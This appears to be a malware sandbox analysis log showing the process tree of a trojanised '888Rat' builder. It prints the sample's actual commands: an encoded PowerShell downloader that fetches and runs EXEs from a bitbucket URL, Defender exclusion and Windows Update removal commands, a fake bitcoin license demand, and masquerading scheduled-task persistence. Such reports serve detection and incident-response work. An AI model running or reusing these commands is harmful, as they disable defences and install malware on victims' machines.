C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAbABkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AZAB5ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATABpAGMAZQBuAHMAZQAgAGkAcwAgAG4AZQBlAGQAZQBkACEAIABZAG8AdQAgAG4AZQBlAGQAIAB0AG8AIABwAGEAeQAgACQAMQAwACAAZgBvAHIAIABhACAAbABpAGYAZQB0AGkAbQBlACAAbABpAGMAZQBuAHMAZQAgAHQAbwAgAEIAVABDACAAYQBkAGQAcgBlAHMAcwA6ACAAYgBjADEAcQBtADUAOQBjAGUAOQBtAG4AbgBkADQAZgA5AHcAcQBqAHEAZQAwAGwAagBuADMAbgB3AHQAMABhAGYAdwBhAHIAaAA0ADUAMwB5ADcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHYAbAB2ACMAPgA7ACIAOwA8ACMAagBnAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB3AHEAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBpAHAAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB6AGMAegAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8AZQBhAHMAeQAxAC8AdwBoAHkAdABoAGUAZgB1AGMAawBhAHIAZQB1AHQAcgB5AGkAbgBnAHQAbwB0AHIAYQBjAGsAdABoAGkAcwBoAHQAdABwAGQAZQBiAHUAZwBnAGUAcgBsAG8AbAAvAHIAYQB3AC8ANgA3AGMANQA5AGMANwAwAGQAZgBiADgAMAAwAGYAYQAyAGIAZgAyADEAYgAzADIAMQA3AGUAMgA0ADgANQAyADIAMQBjADIAMAA0ADIAOAAvAGYAdQBuAGQALgBlAHgAZQAnACwAIAA8ACMAawBoAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AGgAaQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBzAGQAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDAG8AbQBtAEgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAdQByAGQAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8AZQBhAHMAeQAxAC8AdwBoAHkAdABoAGUAZgB1AGMAawBhAHIAZQB1AHQAcgB5AGkAbgBnAHQAbwB0AHIAYQBjAGsAdABoAGkAcwBoAHQAdABwAGQAZQBiAHUAZwBnAGUAcgBsAG8AbAAvAHIAYQB3AC8ANgA3AGMANQA5AGMANwAwAGQAZgBiADgAMAAwAGYAYQAyAGIAZgAyADEAYgAzADIAMQA3AGUAMgA0ADgANQAyADIAMQBjADIAMAA0ADIAOAAvAGwAdQBjAGkAbQAuAGUAeABlACcALAAgADwAIwB2AHkAdgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGgAeQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHAAZABzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0AUwB1AHIAcgBvAGcAYQB0AGUALgBlAHgAZQAnACkAKQA8ACMAbQBsAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQBwAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0ASABvAHMAdAAuAGUAeABlACcAKQA8ACMAagB5AGsAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaABzAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcgBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbwBtAG0AUwB1AHIAcgBvAGcAYQB0AGUALgBlAHgAZQAnACkAPAAjAHcAdwBpACMAPgA="2⤵
- Blocklisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#mdy#>[System.Windows.Forms.MessageBox]::Show('License is needed! You need to pay for a lifetime license to BTC address: bc1qm59ce9mnnd4f9wqjqe0ljn3nwt0afwarh453y7','','OK','Error')<#vlv#>;3⤵
-
C:\Users\Admin\AppData\Local\Temp\CommHost.exe"C:\Users\Admin\AppData\Local\Temp\CommHost.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\DriverHostCrtNet\jO3lbUgUCuGG0nAZHcS.vbe"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\DriverHostCrtNet\ELvGRxvU.bat" "5⤵
-
C:\DriverHostCrtNet\comSvc.exe"C:\DriverHostCrtNet\comSvc.exe"6⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4420 -s 15687⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\CommSurrogate.exe"C:\Users\Admin\AppData\Local\Temp\CommSurrogate.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force4⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc5⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f5⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f5⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f5⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 05⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 05⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#eezvcrxki#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskEditor' /tr '''C:\Program Files\Google\Chrome\updaterload.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaterload.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskEditor' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskEditor" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updaterload.exe' }4⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\888Rat\oxsu.bin2⤵
- Opens file in notepad (likely ransom note)
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 2362⤵
- Program crash
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 2322⤵
- Program crash
-
C:\Users\Admin\Desktop\888Rat\Builder.exe"C:\Users\Admin\Desktop\888Rat\Builder.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 1482⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5216 -ip 52161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5444 -ip 54441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2112 -ip 21121⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\DriverHostCrtNet\services.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\DriverHostCrtNet\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\DriverHostCrtNet\services.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvcc" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvc" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "comSvcc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\comSvc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 7 /tr "'C:\Windows\Containers\serviced\videos.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videos" /sc ONLOGON /tr "'C:\Windows\Containers\serviced\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 9 /tr "'C:\Windows\Containers\serviced\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 13 /tr "'C:\odt\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\odt\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\odt\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\csrss.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 11 /tr "'C:\DriverHostCrtNet\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\DriverHostCrtNet\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 9 /tr "'C:\DriverHostCrtNet\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\SoftwareDistribution\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Program Files\7-Zip\Lang\Registry.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 7 /tr "'C:\DriverHostCrtNet\videos.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videos" /sc ONLOGON /tr "'C:\DriverHostCrtNet\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "videosv" /sc MINUTE /mo 11 /tr "'C:\DriverHostCrtNet\videos.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "chromec" /sc MINUTE /mo 11 /tr "'C:\Program Files\Uninstall Information\chrome.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 184 -p 4420 -ip 44201⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2f4 0x41c1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.bing.com/search?q=videos.exe nwjs"1⤵
- Adds Run key to start application
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ffbaf7d46f8,0x7ffbaf7d4708,0x7ffbaf7d47182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2488 /prefetch:32⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3816 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5364 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3316 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5500 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings2⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x220,0x248,0x7ff779725460,0x7ff779725470,0x7ff7797254803⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:82⤵
-
